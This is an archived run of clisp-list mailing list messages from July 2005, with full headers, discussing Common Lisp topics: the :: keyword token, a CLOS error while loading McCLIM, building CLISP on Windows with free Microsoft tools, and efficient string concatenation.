auto white-list Subject: [clisp-list] Re: Lisp and Win32 GUIs ( wxWidgets) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 06:32:09 2005 X-Original-Date: Fri, 08 Jul 2005 09:30:38 -0400 > * Surendra Singhi [2005-07-07 20:57:46 -0700]: > > Or, I would rather suggest going with Swig > (http://www.swig.org/). Currently swig can be used for generating > Allegro CL code, but it should not be hard to extend it to generate > clisp. https://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=351645 -- Sam Steingold (http://www.podval.org/~sds) running w2k char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From Joerg-Cyril.Hoehle@t-systems.com Fri Jul 08 08:02:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DquNU-0003v1-77 for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 08:02:56 -0700 Received: from tcmail31.telekom.de ([217.6.95.238]) by sc8-sf-mx1-new.sourceforge.net with esmtp (Exim 4.44) id 1DquNR-0004X2-C1 for clisp-list@lists.sourceforge.net; Fri, 08 Jul 2005 08:02:56 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 8 Jul 2005 17:02:55 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <3HNTCY6M>; Fri, 8 Jul 2005 17:02:18 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0304DEA66F@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] OOPS! MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_CLOSE BODY: Text interparsed with ) 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 8 08:03:12 2005 X-Original-Date: Fri, 8 Jul 2005 17:02:15 +0200 Hi, incidentally, somebody in comp.lang.lisp reported having written a library using the symbol referred to via :: as a means to add type declarations to Lisp code. I can't remember the exact syntax, but maybe it's: (my-let (x :: integer) &body) or some such >Yaroslav Kavenchuk writes: >> Pascal Bourguignon wrote: >> > [41]> (::) >> > "Re oops!" >> How mach in (c)Lisp the same "doings"? >Not very much. >So it works like this in the current version of clisp, but it might >not work later, and it won't work in some other implementations. I take the opposite view. :: is within the scope of the standard. You can file a bug report to your Lisp supplier if it does not. ANSI-CL/CLHS acknowledges symbols with an empty print name explicitly IIRC. >it happens that clisp nicknames >the package named "KEYWORD" with "", to enable this trick). The CLISP implementation does this to have its reader handle keywords in correctly. That means no more than that. It does not mean that :: is a CLISP specific trick. >(defun || () "Oops!") >(defun :|| () "Oops!") These are not the same symbols. :: is in the keyword package. >(defun :- (&optional arg) (declare (ignore arg)) "Nice!") >(values (:-) (:-( ))) ;-) Actually, it's funny that I've only seen few packages take advantage of these, while it's very common in Haskell. Lispers seem to prefer verbose names, like PLUS, DIFFERENCE and DIRAC. Perhaps because of Lisp-1 vs -2, and the derived need for ':- and #':- which don't look that nice anymore? Regards, Jorg Hohle From pjb@informatimago.com Sat Jul 09 09:45:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DrIRo-0005fG-3u for clisp-list@lists.sourceforge.net; Sat, 09 Jul 2005 09:45:00 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1DrIRl-0002LJ-Ne for clisp-list@lists.sourceforge.net; Sat, 09 Jul 2005 09:45:00 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B9B6558344; Sat, 9 Jul 2005 18:44:48 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E6FAE5833D; Sat, 9 Jul 2005 18:44:44 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C392D10FBF3; Sat, 9 Jul 2005 18:44:44 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050709164444.C392D10FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-102.6 required=5.0 tests=BAYES_00,UPPERCASE_25_50, USER_IN_WHITELIST autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] obscure clos error: Some methods have been removed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 9 09:45:08 2005 X-Original-Date: Sat, 9 Jul 2005 18:44:44 +0200 (CEST) When trying to asdf load mcclim, I get this error while loading panes.fas: *** - CLOS:SPECIALIZER-DIRECT-GENERIC-FUNCTIONS: Some methods have been removed from their generic function, but the list in the # specializer was not updated. I don't see anything MOP related or deleting or removing methods in panes.lisp. What does this error mean? LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.33.83 (2005-03-14) (built 3324433689) (memory 3324434889)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* (:MCCLIM :CLIM :ASDF-INSTALL :SPLIT-SEQUENCE :ASDF :COM.INFORMATIMAGO.PJB :WILDCARD :CLX-MIT-R5 :CLX-MIT-R4 :XLIB :CLX :CLX-LITTLE-ENDIAN :REGEXP :SYSCALLS :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) -- __Pascal Bourguignon__ http://www.informatimago.com/ Grace personified, I leap into the window. I meant to do that. From Devon@Jovi.Net Sat Jul 09 13:47:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DrME2-0006Gy-7R for clisp-list@lists.sourceforge.net; Sat, 09 Jul 2005 13:47:02 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DrME1-0002RI-6A for clisp-list@lists.sourceforge.net; Sat, 09 Jul 2005 13:47:02 -0700 Received: from grant.org ([206.190.173.18]) by externalmx-1.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DrLHN-00027N-OP for clisp-list@lists.sourceforge.net; Sat, 09 Jul 2005 12:46:27 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id j69Jjw2h083821 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 9 Jul 2005 15:45:59 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id j69Jjs5p083818; Sat, 9 Jul 2005 15:45:54 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200507091945.j69Jjs5p083818@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net In-reply-to: <5F9130612D07074EB0A0CE7E69FD7A0304DEA66F@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril.Hoehle@t-systems.com) Subject: Re: [clisp-list] OOPS! References: <5F9130612D07074EB0A0CE7E69FD7A0304DEA66F@S4DE8PSAAGS.blf.telekom.de> X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.4 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (grant.org [127.0.0.1]); Sat, 09 Jul 2005 15:46:06 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 9 13:48:28 2005 X-Original-Date: Sat, 9 Jul 2005 15:45:54 -0400 (EDT) Tokens : and :: cannot be used in portable programs because they are explicitly undefined in Common Lisp http://www.lisp.org/HyperSpec/Body/sec_2-3-5.html 2.3.5 Valid Patterns for Tokens ... ::aaaaa undefined aaaaa: undefined ... Figure 2-17. Valid patterns for tokens ... aaaaa has any syntax ... From sds@gnu.org Sat Jul 09 21:37:16 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DrTZ5-0008Ly-Ea for clisp-list@lists.sourceforge.net; Sat, 09 Jul 2005 21:37:15 -0700 Received: from smtp04.mrf.mail.rcn.net ([207.172.4.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DrTZ1-0001Jy-2q for clisp-list@lists.sourceforge.net; Sat, 09 Jul 2005 21:37:15 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp04.mrf.mail.rcn.net with ESMTP; 10 Jul 2005 00:37:10 -0400 X-IronPort-AV: i="3.93,276,1115006400"; d="scan'208"; a="56906737:sNHT20497476" To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050709164444.C392D10FBF3@thalassa.informatimago.com> (Pascal Bourguignon's message of "Sat, 9 Jul 2005 18:44:44 +0200 (CEST)") References: <20050709164444.C392D10FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: obscure clos error: Some methods have been removed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Jul 9 21:38:16 2005 X-Original-Date: Sun, 10 Jul 2005 00:36:30 -0400 > * Pascal Bourguignon [2005-07-09 18:44:44 +0200]: > > "gcc ... -DNO_SIGSEGV ..." > SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES SPVW_BLOCKS SPVW_MIXED > TRIVIALMAP_MEMORY" note that you are not getting the generational GC because you do not have libsigsegv installed. -- Sam Steingold (http://www.podval.org/~sds) running w2k non-smoking section in a restaurant == non-peeing section in a swimming pool From jdunrue@earthlink.net Sun Jul 10 11:11:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DrgHD-0004O6-31 for clisp-list@lists.sourceforge.net; Sun, 10 Jul 2005 11:11:39 -0700 Received: from pop-satin.atl.sa.earthlink.net ([207.69.195.63]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1DrgHB-0001NG-NW for clisp-list@lists.sourceforge.net; Sun, 10 Jul 2005 11:11:39 -0700 Received: from cpe-66-87-211-86.co.sprintbbd.net ([66.87.211.86] helo=[192.168.0.4]) by pop-satin.atl.sa.earthlink.net with esmtp (Exim 3.36 #10) id 1DrgHA-0007bq-00 for clisp-list@lists.sourceforge.net; Sun, 10 Jul 2005 14:11:36 -0400 Message-ID: <42D164DB.3080507@earthlink.net> From: "Jack D. Unrue" User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] tip for compiling clisp with the MS Platform SDK / free C++ compiler Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Jul 10 11:12:33 2005 X-Original-Date: Sun, 10 Jul 2005 12:11:39 -0600 Hello from a Win32 user of clisp. :-) I don't have MS Visual Studio, instead I've installed the Platform SDK and Microsoft's free C++ compiler. There are several websites out there that provide help for people trying to use these tools to compile Win32 applications. I've found the following URL very helpful: http://wiki.wxwidgets.org/wiki.pl?MS_Free_Tools_And_WxWidgets One of the missing components when you go this route is 'editbin.exe' which is a bit of a problem for the gcc-cccp makefile. However, there is an equivalent option for setting stack size that can be specified directly on the cl command-line. Thus, line 14 of utils/gcc-cccp/Makefile.msvc becomes $(CC) cccp.obj cexp.obj version.obj obstack.obj $(ALLOCA) /Fecccp /F3145728 and the subsequent line to execute editbin can be commented out. Also, neither the Platform SDK nor the free compiler installation provides the 'lib' utility. However, the following batch file is a functional substitute (you'll find this at the previously mentioned URL) : @echo off SET LIB_ARGUMENTS=/LIB :LIB_ARG_LOOP IF $%1$ == $$ GOTO LIB_RUN SET LIB_ARGUMENTS=%LIB_ARGUMENTS% %1 SHIFT GOTO LIB_ARG_LOOP :LIB_RUN link %LIB_ARGUMENTS% Save the above to the Visual C++ compiler's bin directory, named lib.cmd or lib.bat. I hope this info is useful to others. BTW, thanks to the clisp development team for making the Win32 port! -- Jack From kavenchuk@jenty.by Mon Jul 11 07:17:34 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Drz6E-00024T-K8 for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 07:17:34 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Drz6C-0001R0-26 for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 07:17:34 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id MCTAJF34; Mon, 11 Jul 2005 17:20:57 +0300 Message-ID: <42D27FB8.8050903@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] iconv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 11 07:18:13 2005 X-Original-Date: Mon, 11 Jul 2005 17:18:32 +0300 Function "iconv" was necessary. First has written so: (DEFUN ICONV (s from to) (EXT:CONVERT-STRING-FROM-BYTES (EXT:CONVERT-STRING-TO-BYTES s to) from)) Work, but if error returns nothing. Has written so: (defun iconv (s from to) (let ((res "")) (dotimes (i (length s)) (setq res (ext:string-concat res (handler-case (EXT:CONVERT-STRING-FROM-BYTES (EXT:CONVERT-STRING-TO-BYTES (string (aref s i)) to) from) (error (condition) "?"))))) res)) Very long time works. How to speed up? Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Mon Jul 11 08:36:42 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ds0Ko-00068q-06 for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 08:36:42 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Ds0Kk-0003at-Bo for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 08:36:42 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6BFaM2j024308; Mon, 11 Jul 2005 11:36:25 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42D27FB8.8050903@jenty.by> (Yaroslav Kavenchuk's message of "Mon, 11 Jul 2005 17:18:32 +0300") References: <42D27FB8.8050903@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.3 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: iconv Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 11 08:37:41 2005 X-Original-Date: Mon, 11 Jul 2005 11:35:45 -0400 > * Yaroslav Kavenchuk [2005-07-11 17:18:32 +0300]: > > Function "iconv" was necessary. > First has written so: > > (DEFUN ICONV (s from to) > (EXT:CONVERT-STRING-FROM-BYTES > (EXT:CONVERT-STRING-TO-BYTES s to) from)) if you need this, you are doing something wrong. if you have a string which has been incorrectly encoded, you need to modify the stream format or something - look at the source of the string. > Work, but if error returns nothing. it should signal an error. > Has written so: > > (defun iconv (s from to) > (let ((res "")) > (dotimes (i (length s)) > (setq res (ext:string-concat res > (handler-case > (EXT:CONVERT-STRING-FROM-BYTES > (EXT:CONVERT-STRING-TO-BYTES (string (aref s i)) to) from) > (error (condition) "?"))))) > res)) > > Very long time works. How to speed up? again, if you need this for anything but basic exploration (e.g., figuring out what the server feeds you with) you are doing something wrong. actually, this is even more wrong than the first version because of the character boundary issues. that said, you are making a very common mistake when people collect into a string. e.g., you essentially write (defun concat-all (strings) (let ((res "")) (dolist (s strings) (setq res (string-concat res s))) res)) thus you allocate ~n^2 space for the result size of n. here is the correct (and portable) solution: (defun concat-all (strings) (let ((res (make-string (reduce #'+ strings :key #'length))) (start 0)) (dolist (s strings) (replace res s :start1 start) (incf start (length s))) res)) -- Sam Steingold (http://www.podval.org/~sds) running w2k XFM: Exit file manager? [Continue] [Cancel] [Abort] From marcoxa@cs.nyu.edu Mon Jul 11 09:02:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ds0jU-0007MY-Rm for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 09:02:12 -0700 Received: from bioinformatics.cims.nyu.edu ([216.165.110.10] helo=bioinformatics.nyu.edu) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.44) id 1Ds0jS-0001Nh-6K for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 09:02:12 -0700 Received: from [192.168.116.130] (account marcoxa [192.168.116.130] verified) by bioinformatics.nyu.edu (CommuniGate Pro SMTP 4.1.5) with ESMTP-TLS id 337521 for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 12:02:03 -0400 Mime-Version: 1.0 (Apple Message framework v622) In-Reply-To: References: <42D27FB8.8050903@jenty.by> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Marco Antoniotti Subject: Re: [clisp-list] Re: iconv To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.622) X-Spam-Score: -1.3 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 1.5 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Jul 11 09:03:04 2005 X-Original-Date: Mon, 11 Jul 2005 12:02:03 -0400 Hello On Jul 11, 2005, at 11:35 AM, Sam Steingold wrote: > > again, if you need this for anything but basic exploration (e.g., > figuring out what the server feeds you with) you are doing something > wrong. > actually, this is even more wrong than the first version because of the > character boundary issues. > > that said, you are making a very common mistake when people collect > into > a string. > e.g., you essentially write > (defun concat-all (strings) > (let ((res "")) > (dolist (s strings) > (setq res (string-concat res s))) > res)) > thus you allocate ~n^2 space for the result size of n. > here is the correct (and portable) solution: > (defun concat-all (strings) > (let ((res (make-string (reduce #'+ strings :key #'length))) (start > 0)) > (dolist (s strings) > (replace res s :start1 start) > (incf start (length s))) > res)) I have not tested it in CLISP, but how would the following behave in it? (defun concat-all (&rest strings) (with-output-to-string (out) (format out "~{~A~}" strings))) or (defun concat-all (&rest strings) (with-output-to-string (out) (dolist (s strings) (princ s out)))) Cheers Marco -- Marco Antoniotti http://bioinformatics.nyu.edu NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From sds@gnu.org Mon Jul 11 09:34:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ds1Ek-0000QK-PI for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 09:34:30 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.44) id 1Ds1Eh-0001SL-Tk for clisp-list@lists.sourceforge.net; Mon, 11 Jul 2005 09:34:30 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6BGXxlJ004089; Mon, 11 Jul 2005 12:33:59 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Marco Antoniotti Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Marco Antoniotti's message of "Mon, 11 Jul 2005 12:02:03 -0400") References: <42D27FB8.8050903@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Marco Antoniotti Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -1.3 (-) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -2.8 ALL_TRUSTED Did not pass through any untrusted hosts 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 1.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: iconv 